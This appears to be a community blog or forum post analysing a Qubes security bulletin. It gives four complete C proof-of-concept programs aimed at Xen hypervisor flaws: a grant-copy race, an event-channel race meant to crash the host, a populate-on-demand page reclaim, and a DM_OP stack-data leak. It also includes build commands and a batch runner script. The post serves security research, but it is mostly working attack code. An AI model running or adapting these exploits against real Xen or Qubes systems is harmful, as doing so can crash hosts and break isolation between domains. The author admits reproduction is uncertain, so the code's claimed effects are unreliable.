QSB-116: XSA-500/505/506/507 PoC Analysis and Reproducibility Experiment

Warning: I cannot guarantee that the issue can be reproduced. In my own practical experience, successfully exploiting XSA caused my qubes OS to crash. If you are a beginner, please do not execute the code I provide.Even experts can’t do it.

Forum post links: blog original | Qubes OS Chinese Community

On 2026-07-28, the Qubes Security Team published QSB-116, covering four Xen vulnerabilities disclosed the same day:

XSA CVE Title Xen Versions Affected Default Qubes Config
XSA-500 CVE-2026-62428 grant-table: type confusion in grant-copy ≥ 4.2 Affected
XSA-505 CVE-2026-62432 evtchn: Race between FIFO expand and reset ≥ 4.5 Stubdomains only (QEMU needed first)
XSA-506 CVE-2026-62433 correct buffer checks for DM_OP hypercalls ≥ 4.10 Untrusted HVM qubes
XSA-507 CVE-2026-62434 PoD: Don’t try to reclaim special pages ≥ 3.4 Affected with relevant memory-balancing configuration

These are research PoCs using privcmd ioctls and Xen headers, without a libxenctrl dependency. A successful build or a timeout is not evidence that a vulnerability was triggered; record the Xen version, guest configuration, return code, and Xen log for every run.

XSA-505: evtchn FIFO expand/reset race

Two threads race EVTCHNOP_expand_array against EVTCHNOP_reset. On unpatched Xen 4.5+, this triggers a NULL pointer dereference in the hypervisor, crashing the entire system.

Interpretation: on an unpatched target with FIFO event channels enabled, a host failure is a possible outcome. A process timeout alone is inconclusive.

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <xen/xen.h>
#include <xen/event_channel.h>

struct privcmd_hypercall { uint64_t op; uint64_t arg[5]; };
#define IOCTL_PRIVCMD_HYPERCALL \
    _IOC(_IOC_NONE, 'P', 0, sizeof(struct privcmd_hypercall))

static int privcmd_fd;
static long hypercall(unsigned int nr, unsigned long a1, unsigned long a2,
                      unsigned long a3, unsigned long a4, unsigned long a5)
{
    struct privcmd_hypercall h = { .op = nr, .arg = { a1, a2, a3, a4, a5 } };
    return ioctl(privcmd_fd, IOCTL_PRIVCMD_HYPERCALL, &h);
}

static volatile int running = 1;

void *expand_thread(void *arg)
{
    struct evtchn_expand_array expand;
    void *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
                      MAP_PRIVATE | MAP_ANONYMOUS | MAP_LOCKED, -1, 0);
    if (page == MAP_FAILED) { perror("mmap"); return NULL; }
    memset(page, 0, 4096);
    expand.array_gfn = ((uint64_t)(uintptr_t)page) >> 12;
    while (running)
        hypercall(__HYPERVISOR_event_channel_op,
                  12, (unsigned long)&expand, 0, 0, 0);
    return NULL;
}

void *reset_thread(void *arg)
{
    struct evtchn_reset reset = { .dom = DOMID_SELF };
    while (running)
        hypercall(__HYPERVISOR_event_channel_op,
                  10, (unsigned long)&reset, 0, 0, 0);
    return NULL;
}

int main(void)
{
    pthread_t et, rt;
    privcmd_fd = open("/dev/xen/privcmd", O_RDWR);
    if (privcmd_fd < 0) { perror("open"); return 1; }
    printf("[*] XSA-505 PoC: evtchn FIFO expand/reset race\n");
    printf("[*] WARNING: this is a destructive research test.\n");
    pthread_create(&et, NULL, expand_thread, NULL);
    pthread_create(&rt, NULL, reset_thread, NULL);
    sleep(60);
    running = 0;
    pthread_join(et, NULL); pthread_join(rt, NULL);
    close(privcmd_fd);
    printf("[*] Done. Review the Xen log before drawing conclusions.\n");
    return 0;
}

Build and run:

gcc -O2 -Wall -o xsa505-poc xsa505-poc.c -lpthread
sudo ./xsa505-poc

XSA-500: grant-table type confusion

This PoC uses two threads to race a GNTTABOP_copy against concurrent grant table unmap/map operations. The race condition makes Xen perform permission checks on one page while copying to another, enabling type confusion.

#define __XEN_INTERFACE_VERSION__ 0x00030209

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <xen/xen.h>
#include <xen/grant_table.h>

struct privcmd_hypercall { uint64_t op; uint64_t arg[5]; };
#define IOCTL_PRIVCMD_HYPERCALL \
    _IOC(_IOC_NONE, 'P', 0, sizeof(struct privcmd_hypercall))

static int privcmd_fd;
static long hypercall(unsigned int nr, unsigned long a1, unsigned long a2,
                      unsigned long a3, unsigned long a4, unsigned long a5)
{
    struct privcmd_hypercall h = { .op = nr, .arg = { a1, a2, a3, a4, a5 } };
    return ioctl(privcmd_fd, IOCTL_PRIVCMD_HYPERCALL, &h);
}

struct ioctl_gntdev_grant_ref { uint32_t domid; uint32_t ref; };
struct ioctl_gntdev_map_grant_ref {
    uint32_t count; uint32_t pad; uint64_t index;
    struct ioctl_gntdev_grant_ref refs[1];
};
#define IOCTL_GNTDEV_MAP_GRANT_REF \
    _IOC(_IOC_NONE, 'G', 0, sizeof(struct ioctl_gntdev_map_grant_ref))

#define PAGE_SIZE  4096
#define GRANT_REF  0

static volatile int running = 1;
static void *page1, *page2;
static int gntdev_fd;

void *copy_thread(void *arg)
{
    void *dst = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (dst == MAP_FAILED) { perror("mmap dst"); return NULL; }
    while (running) {
        struct gnttab_copy c;
        memset(&c, 0, sizeof(c));
        c.source.u.ref  = GRANT_REF;
        c.source.domid  = DOMID_SELF;
        c.source.offset = 0;
        c.dest.u.gmfn   = ((uint64_t)(uintptr_t)dst) >> 12;
        c.dest.domid    = DOMID_SELF;
        c.dest.offset   = 0;
        c.len           = 64;
        c.flags         = GNTCOPY_source_gref;
        hypercall(__HYPERVISOR_grant_table_op,
                  GNTTABOP_copy, (unsigned long)&c, 1, 0, 0);
    }
    return NULL;
}

void *remap_thread(void *arg)
{
    struct gnttab_unmap_grant_ref un;
    struct gnttab_map_grant_ref map;
    void *pages[2] = { page1, page2 };
    int toggle = 0;
    grant_handle_t handle = 0;
    while (running) {
        memset(&un, 0, sizeof(un));
        un.host_addr = (uint64_t)(uintptr_t)pages[toggle];
        un.handle    = handle;
        hypercall(__HYPERVISOR_grant_table_op,
                  GNTTABOP_unmap_grant_ref, (unsigned long)&un, 1, 0, 0);
        memset(&map, 0, sizeof(map));
        map.host_addr = (uint64_t)(uintptr_t)pages[1 - toggle];
        map.ref       = GRANT_REF;
        map.dom       = DOMID_SELF;
        hypercall(__HYPERVISOR_grant_table_op,
                  GNTTABOP_map_grant_ref, (unsigned long)&map, 1, 0, 0);
        handle = map.handle;
        toggle = 1 - toggle;
    }
    return NULL;
}

int main(void)
{
    pthread_t ct, rt;
    privcmd_fd = open("/dev/xen/privcmd", O_RDWR);
    gntdev_fd  = open("/dev/xen/gntdev", O_RDWR);
    if (privcmd_fd < 0 || gntdev_fd < 0) { perror("open"); return 1; }
    page1 = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE,
                 MAP_PRIVATE|MAP_ANONYMOUS|MAP_LOCKED, -1, 0);
    page2 = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE,
                 MAP_PRIVATE|MAP_ANONYMOUS|MAP_LOCKED, -1, 0);
    memset(page1, 0x41, PAGE_SIZE); memset(page2, 0x42, PAGE_SIZE);

    struct ioctl_gntdev_map_grant_ref gm = { .count = 1 };
    gm.refs[0].domid = DOMID_SELF; gm.refs[0].ref = GRANT_REF;
    if (ioctl(gntdev_fd, IOCTL_GNTDEV_MAP_GRANT_REF, &gm) < 0)
        { perror("gntdev map"); return 1; }

    printf("[*] XSA-500 PoC: grant-copy type confusion\n");
    pthread_create(&ct, NULL, copy_thread, NULL);
    pthread_create(&rt, NULL, remap_thread, NULL);
    sleep(120); running = 0;
    pthread_join(ct, NULL); pthread_join(rt, NULL);
    close(gntdev_fd); close(privcmd_fd);
    return 0;
}

Build and run:

gcc -O2 -Wall -o xsa500-poc xsa500-poc.c -lpthread
sudo ./xsa500-poc

XSA-507: PoD special pages reclaim

A guest with Populate-on-Demand enabled (HVM/PVH, maxmem > memory) reclaims non-RAM pages. Unpatched Xen mishandles special pages (like shared_info) during XENMEM_decrease_reservation.

#define __XEN_INTERFACE_VERSION__ 0x00030209

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <xen/xen.h>
#include <xen/memory.h>

struct privcmd_hypercall { uint64_t op; uint64_t arg[5]; };
#define IOCTL_PRIVCMD_HYPERCALL \
    _IOC(_IOC_NONE, 'P', 0, sizeof(struct privcmd_hypercall))

static int privcmd_fd;
static long hypercall(unsigned int nr, unsigned long a1, unsigned long a2,
                      unsigned long a3, unsigned long a4, unsigned long a5)
{
    struct privcmd_hypercall h = { .op = nr, .arg = { a1, a2, a3, a4, a5 } };
    return ioctl(privcmd_fd, IOCTL_PRIVCMD_HYPERCALL, &h);
}

#define NR_PAGES 256

int main(void)
{
    int ret, i, round;
    xen_pfn_t *pfns;

    privcmd_fd = open("/dev/xen/privcmd", O_RDWR);
    if (privcmd_fd < 0) { perror("open"); return 1; }
    pfns = calloc(NR_PAGES, sizeof(xen_pfn_t));
    if (!pfns) { perror("calloc"); return 1; }

    printf("[*] XSA-507 PoC: PoD special pages reclaim\n");

    for (round = 0; round < 1000; round++) {
        struct xen_memory_reservation inc;
        memset(&inc, 0, sizeof(inc));
        set_xen_guest_handle(inc.extent_start, pfns);
        inc.nr_extents   = NR_PAGES;
        inc.extent_order = 0;
        inc.mem_flags    = 0;
        inc.domid        = DOMID_SELF;

        ret = (int)hypercall(__HYPERVISOR_memory_op,
                             XENMEM_increase_reservation,
                             (unsigned long)&inc, 0, 0, 0);
        if (ret != NR_PAGES) {
            struct xen_memory_reservation dec;
            memset(&dec, 0, sizeof(dec));
            set_xen_guest_handle(dec.extent_start, pfns);
            dec.nr_extents = NR_PAGES; dec.extent_order = 0;
            dec.mem_flags = 0; dec.domid = DOMID_SELF;
            hypercall(__HYPERVISOR_memory_op, XENMEM_decrease_reservation,
                      (unsigned long)&dec, 0, 0, 0);
            memset(pfns, 0, NR_PAGES * sizeof(xen_pfn_t));
            continue;
        }
        for (i = 0; i < NR_PAGES && pfns[i] != 0; i++) {
            void *p = mmap(NULL, 4096, PROT_READ|PROT_WRITE,
                           MAP_SHARED, privcmd_fd, 0);
            if (p != MAP_FAILED) { memset(p, 0x42, 4096); munmap(p, 4096); }
        }

        struct xen_memory_reservation dec;
        memset(&dec, 0, sizeof(dec));
        set_xen_guest_handle(dec.extent_start, pfns);
        dec.nr_extents = NR_PAGES; dec.extent_order = 0;
        dec.mem_flags = 0; dec.domid = DOMID_SELF;
        ret = (int)hypercall(__HYPERVISOR_memory_op, XENMEM_decrease_reservation,
                             (unsigned long)&dec, 0, 0, 0);
        memset(pfns, 0, NR_PAGES * sizeof(xen_pfn_t));
        if (round % 100 == 0) printf("  Round %d\n", round);
    }
    free(pfns); close(privcmd_fd);
    printf("[*] Done.\n");
    return 0;
}

Prerequisites:

qvm-shutdown <qube>
qvm-prefs <qube> virt_mode hvm
qvm-prefs <qube> memory 2048
qvm-prefs <qube> maxmem 4096
qvm-start <qube>

Build and run:

gcc -O2 -Wall -o xsa507-poc xsa507-poc.c
sudo ./xsa507-poc

XSA-506: DM_OP buffer check omission

Calls XEN_DMOP_modified_memory with nr_bufs=1 (it requires 2). On unpatched Xen, buf[1] reads uninitialized stack data — a side-channel info leak across qubes.

Must run from dom0 or a stubdomain targeting an HVM domain.

#define __XEN_INTERFACE_VERSION__ 0x00030209

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>

struct privcmd_dm_op_buf { void *uptr; size_t size; };
struct privcmd_dm_op {
    uint16_t dom; uint16_t pad; uint32_t num;
    const struct privcmd_dm_op_buf *ubufs;
};
#define IOCTL_PRIVCMD_DM_OP _IOC(_IOC_NONE, 'P', 5, sizeof(struct privcmd_dm_op))

struct __attribute__((packed)) xen_dm_op_modified_memory {
    uint32_t nr_extents; uint32_t opaque;
};
struct xen_dm_op_modified_memory_extent {
    uint32_t nr; uint32_t pad; uint64_t first_pfn;
};
struct __attribute__((packed)) xen_dm_op {
    uint32_t op; uint32_t pad;
    union { struct xen_dm_op_modified_memory mm; char _pad[64]; } u;
};
#define XEN_DMOP_modified_memory 11

int main(int argc, char *argv[])
{
    int fd; uint16_t domid;
    if (argc < 2) {
        fprintf(stderr, "Usage: %s <domid>\n", argv[0]); return 1;
    }
    domid = (uint16_t)atoi(argv[1]);

    fd = open("/dev/xen/privcmd", O_RDWR);
    if (fd < 0) { perror("open"); return 1; }

    struct xen_dm_op op;
    memset(&op, 0, sizeof(op));
    op.op = XEN_DMOP_modified_memory;

    struct xen_dm_op_modified_memory_extent extent;
    memset(&extent, 0, sizeof(extent));
    extent.nr = 1;
    extent.first_pfn = 0x100000 >> 12;

    struct privcmd_dm_op_buf buf[1];
    buf[0].uptr = &extent;
    buf[0].size = sizeof(extent);

    struct privcmd_dm_op dm = { .dom = domid, .num = 1, .ubufs = buf };

    printf("[*] XSA-506 PoC: target domid=%u\n", domid);
    for (int i = 0; i < 100; i++) {
        int ret = ioctl(fd, IOCTL_PRIVCMD_DM_OP, &dm);
        printf("Round %3d: ret=%d (%s)\n", i, ret,
               ret < 0 ? strerror(errno) : "unexpected");
    }
    close(fd);
    return 0;
}

Build and run (from dom0):

gcc -O2 -Wall -o xsa506-poc xsa506-poc.c
sudo ./xsa506-poc $(xl list | grep -i hvm | awk '{print $2}' | head -1)

Interpretation: ioctl() reports an error as -1 and sets errno. Record errno for each round. A consistent EINVAL is compatible with the patched buffer-count check; mixed EINVAL and EFAULT requires Xen-log and environment evidence before it is treated as a positive result.


Batch Runner

Place xsa500-poc, xsa505-poc, and xsa507-poc in ~/qsb-116 inside a prepared test qube. Build xsa506-poc in the current directory on dom0, then run:

RUN_EXPERIMENTS=1 ./run-all-poc.sh <test-qube> <hvm-domid>
#!/usr/bin/env bash
set -u

if [ "${RUN_EXPERIMENTS:-}" != "1" ] || [ "$#" -ne 2 ]; then
    echo "usage: RUN_EXPERIMENTS=1 $0 <test-qube> <hvm-domid>" >&2
    exit 64
fi

test_qube=$1
hvm_domid=$2
log_dir="qsb-116-logs-$(date +%Y%m%d-%H%M%S)"
mkdir -p "$log_dir"

run_guest() {
    local name=$1
    local seconds=$2
    timeout "$seconds" qvm-run --pass-io "$test_qube" \
        "cd ~/qsb-116 && sudo ./$name" \
        >"$log_dir/$name.out" 2>&1
    printf '%s\n' "$?" >"$log_dir/$name.status"
}

xl dmesg >"$log_dir/xen-before.log" 2>&1 || true
run_guest xsa500-poc 120
run_guest xsa505-poc 60
run_guest xsa507-poc 300
timeout 30 sudo ./xsa506-poc "$hvm_domid" >"$log_dir/xsa506-poc.out" 2>&1
printf '%s\n' "$?" >"$log_dir/xsa506-poc.status"
xl dmesg >"$log_dir/xen-after.log" 2>&1 || true
echo "results: $log_dir"

124 in a status file means the local timeout expired. It is not a positive vulnerability result.

Notes

The kernel-side Xen interface is accessed through:

  • /dev/xen/privcmdioctl(IOCTL_PRIVCMD_HYPERCALL) for direct hypercall invocation
  • /dev/xen/gntdevioctl(IOCTL_GNTDEV_MAP_GRANT_REF) for grant table setup
  • /dev/xen/privcmdioctl(IOCTL_PRIVCMD_DM_OP) for device model operations

References

3 Likes